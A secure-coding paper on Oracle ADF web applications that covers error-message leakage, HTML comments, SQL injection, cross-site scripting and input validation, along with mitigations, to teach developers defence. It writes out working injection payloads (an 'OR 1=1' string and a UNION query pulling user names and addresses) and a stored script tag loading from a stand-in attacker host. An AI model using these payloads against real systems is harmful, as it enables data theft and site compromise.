Building Secure ADF Applications

 

Introduction

Secure application development is something of a misnomer in the software world because, in reality, no application is truly secure.  However, there is indeed a huge difference between an application built with security in mind from the outset by security-conscious developers and an application that is built with little or no regard for security.  In the current state of the market, developers can sometimes be lulled into a false sense of security that by utilizing a framework such as Oracle’s ADF, all of the guesswork about security has been eliminated. They can simply go ahead and build an application without having to think much about security beyond the login page.  This type of thinking is what leads to security vulnerabilities in current software applications.  

Any security framework for application development regardless of whether that framework was created internally or provided by a third party must be used with caution.  At any phase of the development cycle, security vulnerabilities can be introduced if the framework is used improperly, configured incorrectly, or circumvented to meet an objective.  There are numerous pitfalls in the security world, but a large percentage of them can be overcome with a simple understanding of how these holes are manipulated to compromise a system.  Awareness of some of the attack vectors, common mistakes, and easy ways of avoiding these pitfalls can greatly contribute to the creation of a more secure application.

Reconnaissance

Knowledge is the key to infiltrating any system.  With perfect knowledge of a system, a successful attack can almost certainly be devised. Every bit of information that can be collected about how a system is built, which framework is being used, and specific information about the code and data model makes the system easier to infiltrate.  As a developer, one of the simplest security-conscious tasks you can undertake is to police the information that is being broadcast about your system directly from your system.  If you take the time to look (which is exactly what a hacker will do) you will be surprised by how much information about your system is available for public review.  Many of these potential security breaches can easily be plugged if you know how. This section discusses two of the most common problem areas.

Error Handling

Error handling is probably one of the most revealing sources of information about your system.  In any system, exceptions are going to be thrown at some point for both anticipated and unforeseen errors.  These error messages are invaluable for debugging and fixing errors; however, they have no place in a production environment.  Any error message seen by users should be a canned response and should never be the actual Java/Oracle error or stack trace.  A standard practice in Oracle ADF-generated JavaServer Pages (JSPs) is to place an <af:messages/> tag at the top of each page for error handling.  This tag allows error messages or stack traces generated during execution to be displayed at the top of the page.  Developers can use this to display custom error messages to users if they are careful.  However, uncaught exceptions will also be displayed to users using this tag.  These uncaught exceptions can be very revealing to someone analyzing a system for weaknesses.  The exceptions could reveal information about the tables and columns of the data source if thrown during some sort of DML operation. They may also indicate how input parameters are used in other areas of the system.  An example of the type of information that can be leaked by improper error handling is shown in Figure 1.

 

Figure 1: Example of information provided in error message

 

Someone analyzing a system for weaknesses may not only be looking for exceptions that could be helpful, but may also actively try to generate errors, especially in areas of special interest.  For example, a hacker might try to place exceptionally long text in a User Name or Password field in hopes that an exception might be thrown and reveal how the user name and password are stored or accessed.  This type of intrusion can be prevented by placing a limit on the field in the webpage. However, this strategy incorrectly assumes that the people using the system will always be playing by the rules.  In this particular instance, developers may assume that a browser will be used to display a response and that the request will be generated by that browser.  In actuality, the response could be viewed using an HTTP proxy that breaks down requests and responses to their primitive textual information.  These same utilities can be used to generate requests that would otherwise be impossible for the browser to generate.  In this way, a hacker can generate errors that a developer would not normally expect to have to catch from a browser-generated request.  In the example shown in Figure 1, the error was generated because the user enter a Request ID of 100 followed by a single quote, even though the field should only be able to accept numbers.  If the developer had added a JavaScript library to check the input value for that field, this might have prevented the user from directly entering the invalid value but it would not have stopped a malicious user from sending the same value to the server. 

The right defense against this type of threat is a comprehensive error handling architecture that will catch any other uncaught exceptions and display a generic error message.  An error handler should be added to your web.xml file to forward all Error 500 types that would normally display an error and stack trace to an error page.

 

Comments/Debugging

Simple comments are another area where information leaks can occur. It is good development practice to thoroughly comment your code.  However, you need to use comments with discretion when security is a concerned.  Web-based applications differ from standalone applications in that parts of the code are not always compiled in such a way that comments are removed from the final code to which users have access.  Comments entered on HTML/JSP pages may be visible to end users by looking at the source code for the page.   Although the comments were meant to be viewed only by developers, their exposure to end users may reveal clues about what parts of the system may be vulnerable, or which portions of the system are incomplete. 

For JSP pages there are two types of comment tags: <!-- -> and <%-- --%>.  If you use <%-- --%>, the compiler will remove the comment when the page is compiled and therefore it will not be included in the source code of the page sent to the user.  However, if you use <!-- -->, the comment will appear as part of the source code, so even if it does not appear in the rendered page of the browser, viewing the source code will reveal the comment.  An example of this types of comment is shown in Figure 2.  Using JSPX files instead of JSP pages causes the compiler to remove these comments from the compiled versions of the pages.  Unfortunately this approach also adds other comments to broadcast that you are using Oracle ADF for development.

 

Figure 2: Example of different types of comments

 

Like comments, debugging code does not belong in production code.  Although invaluable to programmers, debugging code with stack traces and backdoors must be removed from production environments and not just disabled.  If the debugging code is only disabled and not removed, you run the risk of someone figuring out how to re-enable it and use it to their benefit.

Attack Vectors

Once a hacker has acquired enough information about a system, he/she can start probing the system for weaknesses.  There are probably more ways to attack a system than there are to defend one, but the most common ones make up the majority of the attacks.  This section discusses some of the basic types of attacks, how they are perpetrated, and how you can protect your system with good security programming practices.

 

SQL Injection

One of the most common and easily exploitable types of attacks is a SQL injection attack.  The basic premise for this type of attack is that sometimes the queries that are executed by an application are dynamically built using pieces of information that the user has some means of supplying, such as a web page that allows you to search by some set of criteria.  A good example, is the Oracle Service Request tutorial found at: (http://www.oracle.com/technology/obe/ADFBC_tutorial_1013/10131/index.htm)

The web page shown in Figure 1 is used to search service requests. In the middle tier, the query that would normally be built to search for requests by a specific service request ID would look like the following:

 

SELECT servicerequest.svr_id, servicerequest.status,

       servicerequest.request_date, servicerequest.problem_description,

       servicerequest.prod_id, servicerequest.created_by,

       servicerequest.assigned_to, servicerequest.assigned_date,

       assignedtouser.user_id, assignedtouser.first_name,

       assignedtouser.last_name, createdbyuser.user_id AS user_id1,

       createdbyuser.first_name AS first_name1,

       createdbyuser.last_name AS last_name1,

       TRUNC (request_date) AS view_attr, TRUNC (assigned_date) AS view_attr

  FROM service_requests servicerequest,

       users assignedtouser,

       users createdbyuser

 WHERE servicerequest.assigned_to = assignedtouser.user_id(+)

   AND servicerequest.created_by = createdbyuser.user_id

   AND (((servicerequest.svr_id = 100)))

 

The structure of this query was discovered from the earlier error message in Figure 1 generated by entering an invalid value for the service request ID.  In the tutorial, one can think of the Oracle Framework as building the query in the following manner:

 

String query = “SELECT servicerequest.svr_id, servicerequest.status,

       servicerequest.request_date, servicerequest.problem_description,

       servicerequest.prod_id, servicerequest.created_by,

       servicerequest.assigned_to, servicerequest.assigned_date,

       assignedtouser.user_id, assignedtouser.first_name,

       assignedtouser.last_name, createdbyuser.user_id AS user_id1,

       createdbyuser.first_name AS first_name1,

       createdbyuser.last_name AS last_name1,

       TRUNC (request_date) AS view_attr, TRUNC (assigned_date) AS view_attr

  FROM service_requests servicerequest,

       users assignedtouser,

       users createdbyuser

 WHERE servicerequest.assigned_to = assignedtouser.user_id(+)

   AND servicerequest.created_by = createdbyuser.user_id

   AND (((servicerequest.svr_id = “ + serviceId + “)));

 

At first glance, the code looks logically correct and would produce the desired result of records that match the input service request ID in most cases.  However, again this assumes that the users are playing by the rules and entering valid search parameters.  If a user wants to be nefarious, he/she might enter a service request ID such as “1 or 1=1” which would result in an end query like the following:

 

SELECT servicerequest.svr_id, servicerequest.status,

       servicerequest.request_date, servicerequest.problem_description,

       servicerequest.prod_id, servicerequest.created_by,

       servicerequest.assigned_to, servicerequest.assigned_date,

       assignedtouser.user_id, assignedtouser.first_name,

       assignedtouser.last_name, createdbyuser.user_id AS user_id1,

       createdbyuser.first_name AS first_name1,

       createdbyuser.last_name AS last_name1,

       TRUNC (request_date) AS view_attr, TRUNC (assigned_date) AS view_attr

  FROM service_requests servicerequest,

       users assignedtouser,

       users createdbyuser

 WHERE servicerequest.assigned_to = assignedtouser.user_id(+)

   AND servicerequest.created_by = createdbyuser.user_id

   AND (((servicerequest.svr_id = 1 OR 1=1 )))

 

In this case, the user has manipulated the structure of the query to return all results as shown in Figure 3.

Figure 3: Example showing simple SQL Injection attack

While this may not seem significant in this example since you can search on any ID, entering the following for the ID is problematic:

 

  1)))

   UNION ALL

   SELECT NULL, NULL,

          NULL, first_name || ' ' || last_name || ' ' || street_address,

          NULL, NULL,

          NULL, NULL,

          NULL, NULL,

          NULL, NULL,

          NULL, NULL,

          NULL, NULL

   FROM USERS

   WHERE (((1=1

 

In this example, the framework would allow the entry to be made and would build a query like the following:

 

SELECT servicerequest.svr_id, servicerequest.status,

       servicerequest.request_date, servicerequest.problem_description,

       servicerequest.prod_id, servicerequest.created_by,

       servicerequest.assigned_to, servicerequest.assigned_date,

       assignedtouser.user_id, assignedtouser.first_name,

       assignedtouser.last_name, createdbyuser.user_id AS user_id1,

       createdbyuser.first_name AS first_name1,

       createdbyuser.last_name AS last_name1,

       TRUNC (request_date) AS view_attr, TRUNC (assigned_date) AS view_attr

  FROM service_requests servicerequest,

       users assignedtouser,

       users createdbyuser

 WHERE servicerequest.assigned_to = assignedtouser.user_id(+)

   AND servicerequest.created_by = createdbyuser.user_id

   AND (((servicerequest.svr_id = 1)))

UNION ALL

SELECT NULL, NULL, NULL,

       first_name || ' ' || last_name || ' ' || street_address, NULL, NULL,

       NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL

  FROM users

 WHERE (((1 = 1)))

 

Now the user has found a way to query information about users for the whole system that might violate privacy information and be further used to penetrate the system by collecting user names and passwords.  Figure 4 shows the results of entering such a service request ID.

 

Figure 4: Example of complex SQL Injection attack

This example illustrates why it is important to keep in mind the earlier warning about users having intimate knowledge of the system and the data structure. In this case, the original query was gleaned from an error stack trace previously captured by forcing errors into the system.  Unfortunately, this is not the extent of the problems that can be caused by a SQL injection attack.

Besides simply querying data, this same type of attack can be used to manipulate data. Imagine a dynamically built DML statement from which it is possible to escape by terminating the Insert statement with a single quote, semi-colon, and then adding an additional DML statement such as Delete from User;.  This second problem is mostly a moot point in the Oracle Application Development Framework (ADF) if you are using view objects and entities to perform DML operations, since the framework will properly bind input for the DML operations. However, you should still be aware of this problem in the event that a manual DML operation is required, or if you need to execute a procedural call built dynamically with user input data.

How to you go about preventing such an attack?  The first step is to eliminate dynamically built SQL and DML operations wherever possible, and instead try to replace them with predefined statements or view objects with bind variables.  If you use bind variables in your view objects or a JDBC-prepared statement, the framework will prevent invalid characters from corrupting the original intention of the operation.  DBAs will also be happy since this construct should make parsing and executing more efficient in the database.   If you still need to dynamically build these statements because the complexity of the queries exceeds what can be accomplished using bind variables, you must first perform input validation on any value coming directly from user input or one that was previously stored by a third party to ensure that no inappropriate characters were used that could affect the operation. 

 

Cross-Site Scripting

SQL injection is just one of the attack vectors that can result from a lack of Input/Output validation.  This same approach is also used to perpetrate another type of attack called “cross-site scripting.”  In a cross-site scripting attack, malicious data is input from an outside source and then transmitted to users without being validated for malicious content.  Using the service request example, it is possible to add a new request and specify a problem description which will later be displayed when searching or browsing  service requests.  The developer is expecting something like “Ice machine not working” to be entered into the field.  If, instead, the user enters “Ice machine not working <script src=http://www.hacker.com/hack.js></script>” and no input validation is enforced, this value will be stored in the database as a problem description.  Later when an unsuspecting user browses to a page displaying the service request problem, one of two things will happen:

1.        The problem description will show up exactly as it was typed with scripting.

2.        Only the actual problem description “Ice machine not working” will show up and the script tag will be executed and perform whatever operation is specified in the JavaScript library.

 

The difference between these two outcomes is dependent upon whether output validation is performed before being output to the web page.  If this field is bound using Oracle’s ADF binding framework, by default, the value will be escaped so that the invalid characters such as < and > will be changed to &lt; and &gt; respectively in the response so that the data gets rendered as text to be displayed by the browser instead of interpreted as code to be run by the browser.  If this same value was rendered through another tag that did not perform output validation or directly output to the JSP (<% out.println(namelast);%>), then the script tag could be interpreted as code and executed.  Even when using Oracle ADF, you must be wary of the tag attribute “escape” which, when set to “False,” turns off output escaping and will allow stored code to be added to a page. This attribute should only be enabled for data from a trusted source, or data that has been previously scrubbed. You should have a specific reason for disabling this attribute.

This brings up the issue of output validation in general.   Data being output is subject to corruption if proper validation is not enforced.  This could be in the form of web pages, reports, calls to web services, logs, or anywhere that data input by a third party is utilized.  Depending upon the format of the display, the offending characters may be new lines, tabs, tags, commas, etc.  Wherever this occurs, the output format should be reviewed for appropriate and inappropriate content to ensure that  the data being output is valid for that format.

Input/Output Validation

There are two primary methods of performing Input/Output validation to prevent SQL injection, cross site scripting, and other types of attacks.  Input and Output can be validated or scrubbed using either white or black lists.  White lists check to make sure that only characters from an approved list are used, i.e. only upper and lower case letters in the Search string.  Black lists ensure that no invalid characters are used, such as not allowing single quotes (‘).  White lists are typically considered more secure than black lists.  If you forget to add a valid character to the white list, then the worst thing that can happen is that the user might get upset when they cannot enter a certain value. This is easily remedied.  On the other hand, if you did not anticipate a bad character in a blacklist, it could expose a security hole in the system that may result in unrecoverable losses.

Client-side validation cannot be trusted as a secure source of validation for either of these cases. All validation must be performed by a trusted source. Typically, the end-users cannot be trusted.  JavaScript embedded in web pages makes for a better user experience that provides immediate feedback for incorrectly specified values. However, it cannot be trusted to properly validate input.  JavaScript can be easily disabled on the client side or completely bypassed by creating a request manually using URL parameters instead of using the actual form in the browser. Once again, you cannot trust the users to play by the rules.  You should also avoid cleansing data and instead reject it.  If you attempt to cleanse data you may create even more problems. For instance, if you wished to remove all instances of <script from a string that would be output to a webpage, what would happen if you tried to perform that activity on a string like <scri<scriptpt src=”performBadThings.js”></script>?  By cleansing the data this way, you would actually be helping to generate the malicious code.

Basic Precautions

Remember to take basic precautions to limit your exposure and risk of attacks.  Keep the following suggestions in mind:

1.        Utilize software and hardware firewalls to control access to your applications. 

2.        If the user base is small enough or concentrated in some way, limiting your exposure to only those user domains and IP addresses substantially reduces the risk of being probed, which can subsequently lead to attacks.

3.         If necessary, investigate using VPN to allow users to connect to an Intranet instead of exposing your application to the Internet.  A reputable VPN setup can be exceptionally efficient at controlling access to your site.

4.        Make sure that any and all data transferred to and from the site is encrypted so that the only way to access the site is via HTTPS.  If the site is accessible by both HTTP and HTTPS, some users will undoubtedly use the unencrypted HTTP to send their username, password, and sensitive personal data which can be intercepted.

5.        Make sure that your Application Server is hardened.  Remove any unnecessary or unused components, especially demo and example software that typically comes with most Application Servers including Oracle. 

6.        Make sure you strictly control access to your servers as well as to your source code.  All of the security measures in the world can be easily circumvented by sneaking a few well-placed lines of code into a production application.

Conclusions

This paper by no means represents an exhaustive list of security concerns and preventative practices.  It merely scratches the surface of all the possible ways of attacking web applications.  However, it should provide a good starting point for thinking about security as well as a base upon which to build other security practices.  Once you are aware of some of the ways in which a system can be infiltrated, you can go back and analyze your own applications to discover other security measures that could be improved.  Remember to try to prevent all sources of information leakage that could give away even the slightest hints about the system and validate and control all input sources.

About the Author

John Rydzy is a senior software developer at Dulcian, Inc. He is responsible for architectural development of Java-based thick client and Web applications. He is a graduate with highest distinction from Pennsylvania State University where he received a bachelor of science in computer engineering and a minor in mathematics.